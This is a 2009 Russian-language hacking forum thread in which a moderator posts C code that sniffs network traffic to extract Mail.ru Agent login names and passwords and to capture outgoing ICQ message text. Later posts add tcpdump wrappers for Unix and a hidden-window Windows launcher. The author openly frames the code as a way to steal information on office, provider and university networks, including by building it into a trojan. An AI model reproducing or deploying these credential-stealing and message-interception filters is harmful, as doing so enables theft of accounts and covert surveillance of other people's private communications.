Фильтры траффика или как украсть ценную информацию

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Gar|k, 19 Jul 2009.

  1. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Сейчас практически везде есть интернет, а это значит, что существуют сервера, которые его раздают. Крупные офисные сети, локальные сети, провайдеры ммм как много вкусной информации ;)

    Анализаторов трафика или снифферов сейчас предостаточно, лично я пользуюсь wireshark, но мы же круты и напишем простейший сниффер на Си

    Ну, теперь трафика у нас предостаточно, что же мы будем с ним делать? Анализировать товарищи! но не руками, а функциями :)

    Давайте для начала напишем функцию, которая будет показывать логины и пароли при подключении Mail Agent-а.

    Изучив документацию по протоколу MRA становится ясно, что для подключения клиент должен послать пакет MRIM_CS_LOGIN2

    нам остается лишь включить сниффер, найти этот пакет скопировать его дамп в файлик и написать функцию его разбора

    Code:
    int *mraTest(unsigned char *buffer,size_t buflen)
    {
    
     typedef struct mrim_packet_header_t
    {
        unsigned long      magic;		// Magic
        unsigned long      proto;		// ?????? ?????????
        unsigned long      seq;		// Sequence
        unsigned long      msg;		// ??? ??????
        unsigned long      dlen; 		// ????? ??????
        unsigned long	from;		// ????? ???????????
        unsigned long	fromport;	// ???? ???????????
        unsigned char	reserved[16];	// ???????????????
    }
    mrim_packet_header_t;
    
    typedef struct lps
            {
            unsigned long      dlen;
            unsigned char	str[255];
            }
    lps;
    
    mrim_packet_header_t cs;
    lps datas;
    unsigned char *p,*d;
    unsigned char magic[]={0xEF,0xBE,0xAD,0xDE};
    unsigned char login_msg[]={0x38,0x10,0x00,0x00};
    unsigned char *pack;
    
    int i;
    
    unsigned long maxaddr;
    unsigned long packaddr;
    
    FILE *f;
    
    p=memmem(buffer,&magic,buflen,4);
    
    if(p!=0)
            {
            d=memmem(buffer,&login_msg,buflen,4);
            if(d!=0)
            {
    
    
            memset(&cs,0x00,sizeof(cs));
            memcpy(&cs,p,44);
    
            if(cs.msg=0x1038)
                    {
    
                     // printf("%d %d\n",buflen,cs.dlen);
    
                      if((buflen-sizeof(cs))<=80) // буффер без заголовка
                      {
                      return (int *)cs.dlen;
                      }
    
    
                    printf("Mail Agent login------------\n");
    
                    pack=(char *) malloc ( cs.dlen );
                    memcpy(pack,p+sizeof(cs),cs.dlen);
    
    
    
                    memcpy(&datas,&pack[0],sizeof(datas));
                    if(datas.dlen>255){ return 0;}
                    datas.str[datas.dlen]='\000';
                    printf("Login: %s\n",datas.str);
    
                    memcpy(&datas,&pack[datas.dlen+4],sizeof(datas));
                    if(datas.dlen>255){ return 0;}
                    datas.str[datas.dlen]='\000';
                    printf("Password: %s\n",datas.str);
    
                    free(pack);
                    return -1;
                    }
            }
    }
    
    return 0;
    
    }
    
    функцию я писал давно и она, к сожалению, не блещет интеллектом, но работает ) (З.Ы.: напиши лучше!)
    теперь чтобы наша функция работала в паре с нашим снифером допишем ее сюда

    Code:
    ...
    // анализ принятого буфера
    mraTest(buffer,resbuf);
    ...
    
    Ну, маил агент это как-то не интересно, давайте замахнемся на ICQ!
    но тут не все так просто лично я не знаю на данный момент программы, которая использует не шифрованную версию авторизации (кстати, в QIPе была галочка о простом доступе), а подобрать MD5 хеш пароля очень сложно ведь он по старым стандартам генерировался так
    впринципе изучив новый протокол мы можем спокойно вытащить и authkey (там не существенные изменения), а открыв программу в отладчике попытаться найти строку AIM_MD5_STRING, а патом долго брутить пароль хех

    Нет, мы реализуем кое-что поинтереснее, мы будем перехватывать переписку!

    Открыв сниффер включив миранду и отправив другу, сообщение я выяснил, что она отправляет сообщения вот таким макаром, а если быть еще точнее то таким. За дело! сохраняем дамп пакета и начинаем кодить...

    Code:
    void ICQtestMessage(unsigned char *buffer,size_t szbuffer)
     {
     int i=0,z=0;
     unsigned short *word;
    
    //{09461349-4C7F-11D1-8222-444553540000}
    unsigned char guid[16] = {
    	0x09, 0x46, 0x13, 0x49, 0x4C, 0x7F, 0x11, 0xD1, 0x82, 0x22, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00
    };
    
    
     while(i<szbuffer)
    {
    
    // ICQ sniff filter by Gar|k
    // разбор пакета SNAC (04,06)/CH2
    // http://iserverd.khstu.ru/oscar/snac_04_06_ch2.html
    
    if(buffer[i]==0x2a && buffer[i+1]==0x02) // FLAP channel 2
    {
    
     if(buffer[i+7]==0x04) // SNAC family 0x0004 - AIM Messaging
            {
    
    
            switch(buffer[i+9])
                    {
                    case 0x06: // SNAC subtype 0x0006 - outgoing
    
                            //message channel  i+27
    
                            if(buffer[i+25]=0x02){ // Channel 2 (rtf messages, rendezvous)
                                    //buddy
                                    printf("AIM Message outgoing to: ");
    
    
    
                                    for(z=0;z<buffer[i+26];z++){putc(buffer[i+27+z],stdout);}
                                    i+=27+z;putc(0x0A,stdout);
    
    
    
                                    //разбирать сообщение мы будем для ICQ Server Relaying - {09461349-4C7F-11D1-8222-444553540000}
                                    if(memcmp(&buffer[i+14],&guid,16)==0){
                                            // далее могут идти а могут и нет TLV различные,
                                            // поэтому стартуем поиск  TLV 0x2711 - extention data
                                            i+=14+16;
                                            while(buffer[i]!=0x27 && buffer[i+1]!=0x11) i++;
                                            // опять пропускам левое
                                            i+=0x25;
    
                                            while(buffer[i]==0x00)i++;
    
                                            // message type
                                            printf("---------------------------\n");
                                            switch(buffer[i])
                                                    {
                                                    case 0x01: // plain text
                                                            i+=8;
                                                            puts(&buffer[i]);
                                                            break;
                                                    }
    
                                            }
                                    }
                            break;
                            }
                    }
     //break;
            }
    i++;
    }
     }
    
    вот такой код вышел у меня, и он обрабатывает лишь исходящие сообщения.

    теперь прикрепляем его в наш сниффер
    Code:
    ...
    // анализ принятого буффера
    mraTest(buffer,resbuf);
    ICQtestMessage(buffer,resbuf);
    ...
    
    Я надеюсь, вы втянетесь в разработку фильтров ведь в ICQ я описал лишь прием, да и то только по второму каналу и 1 типу сообщения )

    Если задумываться о развитии этого проекта, то можно скрестить его с базами данных и вести нехилое хистори пользователей сети хех ну или искать в сообщениях слова алах-агбар и палить IP пользователя компетентным органам :D

    З.Ы: по закону у каждого провайдера должен стоят сервер ФСБ, а что он там делает :cool: . В моем универе не хилая сеть, а администраторы мои друзья. Не дай бог там проверить почту зайти в аську или контакт :cool:
     
    _________________________
    #1 Gar|k, 19 Jul 2009
    Last edited: 19 Jul 2009
    1 person likes this.
  2. fire64

    fire64 Elder - Старейшина

    Joined:
    1 Apr 2008
    Messages:
    251
    Likes Received:
    22
    Reputations:
    5
    Gar|k, в большинстве сетей трафик идет через шлюз, а следовательно единственный выход ARP спуфинг, что сразу палится управляемыми свичами

    так что снифер в большинстве случаев не актуален
     
  3. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Эмм да возможно для большинства обывателей он и не доступен, но лично я не обычный обыватель и имею доступ к шлюзам-серверам. Самым распространненым примером может служить офисная сеть, которой нет только у компании где нет компьютеров :)

    так что твое "большинство" распространяется лишь на ушастых юзеров. Я думаю их доля на этом форуме мала, хотя...
     
    _________________________
  4. fire64

    fire64 Elder - Старейшина

    Joined:
    1 Apr 2008
    Messages:
    251
    Likes Received:
    22
    Reputations:
    5
    тогда такой вопрос

    если ты админ, то нафиг тебе использовать снифер для воровства паролей из Mail Agent-а. ?

    у тебя же есть доступ к машине и ты спокойно через софт можешь вытащить любые пароли
     
  5. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    представьте себе а я знаю пару обычных обывателей у которых тоже есть доступ к шлюзам;)
    и кстати можно узнать с каких пор на шлюзах стали ставить ОС Windows? а этот ваш сниффер он как бы только под нее откомпилируется
     
  6. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    2 fire64 - так не интересно ))) потом подобный подход можно использовать в трояне...
    существуют много путей различных, можно расшифровывать файлы истории (Mail Agent) программ, можно вытаскивать пароли из памяти (дамп памяти процесса), можно вообще использовать аппаратный кейлогер, а можно анализировать траффик!

    я привел примеры и надеюсь что люди заинтересуются и напишут свои версии для протола POP, HTTP, FTP...
     
    _________________________
    #6 Gar|k, 19 Jul 2009
    Last edited: 19 Jul 2009
  7. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    2 bons сниффер да, но фильтры написаны на Си, что нам мешает приспособить их для чтения файла отчета тогоже TCPdump-а ? )
     
    _________________________
    1 person likes this.
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,705
    Likes Received:
    1,225
    Reputations:
    455
    Удобное если ты владелец шлюза / прокси.
    Потмоу как во многих локалках админ не может заходить на компы юзверей
     
  9. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    2 bons, эм вот вариант для UNIX с использованием tcpdump в качестве сниффера

    Code:
    packet_filter.c:
    
    #include <stdio.h>
    #define BUFSIZE 1024
    
    int main(int argc, char* argv[]) {
       unsigned char buf[BUFSIZE];
       int szread;
    
       while ((szread = fread(buf,sizeof(unsigned char),BUFSIZE,stdin)) != NULL) {
          // анализ потока траффика...
          printf("read bytes %d",szread);
          }
    
       return 0;
    }
    
    комманда: 
    cc packet_filter.c -o packet_filter
    tcpdump -t -p -n -i em0 -c 100 -w- / packet_filter
    что означает запустить сниффер на интерфейсе em0 перехватить 100 пакетов с выводом в сыром виде в stdout ( - после w) ну и сразу же pipe-ом перенаправить вывод на stdin нашей программы фильтра, который собсвтвенно и будет анализировать траффик (ну мож лишнее параметры типа -t...)
     
    _________________________
    #9 Gar|k, 22 Jul 2009
    Last edited: 30 Jul 2009
    1 person likes this.
  10. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    а вот так будет выглядеть симбиоз tcpdump-а и фильтра в windows ;)

    Code:
    #include "stdafx.h"
    #include <windows.h>
    
    #define TCPDUMP_PATH "c:\\Downloads\\tcpdump_trial_license\\tcpdump.exe"
    #define TCPDUMP_ARG "-t -p -n -i 3 -c100 -w-"
    
    int _tmain(int argc, _TCHAR* argv[])
    {
    SECURITY_ATTRIBUTES sat;
    HANDLE hRead,hWrite;
    STARTUPINFO startupinfo;
    PROCESS_INFORMATION pinfo;
    
    
    DWORD cnt=1;
    unsigned char buf[1024];
    
    
    sat.lpSecurityDescriptor=NULL;
    sat.nLength=sizeof(SECURITY_ATTRIBUTES);
    sat.bInheritHandle=TRUE;
    
    if(CreatePipe(&hRead,&hWrite,&sat,NULL)==NULL){perror("not CreatePipe");}
    else {
    	startupinfo.cb=sizeof(STARTUPINFO);
    	GetStartupInfo(&startupinfo);
    	startupinfo.hStdOutput=hWrite;
    	//startupinfo.hStdError=hWrite;
    	startupinfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
    	startupinfo.wShowWindow=SW_HIDE;
    
    	if(CreateProcess(TCPDUMP_PATH,TCPDUMP_ARG,
    	NULL,NULL,TRUE,NULL,NULL,NULL,&startupinfo,&pinfo)==NULL){perror("not CreateProcess");}
    	else {
    		CloseHandle(hWrite);
    		while(1)
    			{
    			RtlZeroMemory(&buf,sizeof(buf));
    			if(ReadFile(hRead,&buf,sizeof(buf)-1,&cnt,NULL)==NULL){break;}
    			
    			/*--------------------
    			обработка потока buf 
    			======================*/
    
    
    			}
    		}
    	CloseHandle(hRead); }
    
    return 0;
    }
    
    вот наткнулся на очень полезную статью по RAW сокетам

    длинну передаваемого пакета можно определить по IP заголовку... дальше посмотреть заголовки TCP и если например порты которые мы фильтруем совпадают то вычеслить размер пакета и забрать его полностью из буфера чтения... а дальше анализировать ой как весело зная что это приблизительно за пакет хех )) удаче
     
    _________________________
  11. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    хе, компилятор после такой команды затрёт исходник к черту:) перенаправление вывода обычно делается символом '|' а не так как у тебя. Ну и после параметра -w думаю нужен пробел. А так вроде ниче, может быть даже и заработает.
    А наверно еще проще было бы заюзать уже существующие анализаторы дампов типа ngrep. Даже если подходящих не найдешь то во всяком случае писать такое стоило бы на perl или shell, так быстрее
     
    #11 bons, 30 Jul 2009
    Last edited: 30 Jul 2009
  12. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    OSCAR (ICQ), MRA бинарные протоколы... в типизированых языках проще перевести нужное в byte word dword, а на perl пришлось бы извращатся с функцией pack и тому подобное... конечно для текстовых протоколов таких как HTTP, IRC, POP, SMTP perl предпочтительней. Но я надеюсь что моя программа обойдет по скорости Perl скрипт )) в крайнем случае для Си/Cи++ есть библеотека PCRE - реализующая работу регулярных выражений в стиле Perl
     
    _________________________
  13. Dr.Perry_Cox

    Dr.Perry_Cox Member

    Joined:
    24 May 2009
    Messages:
    16
    Likes Received:
    10
    Reputations:
    0
    Мне статья понравилась)
     
Loading...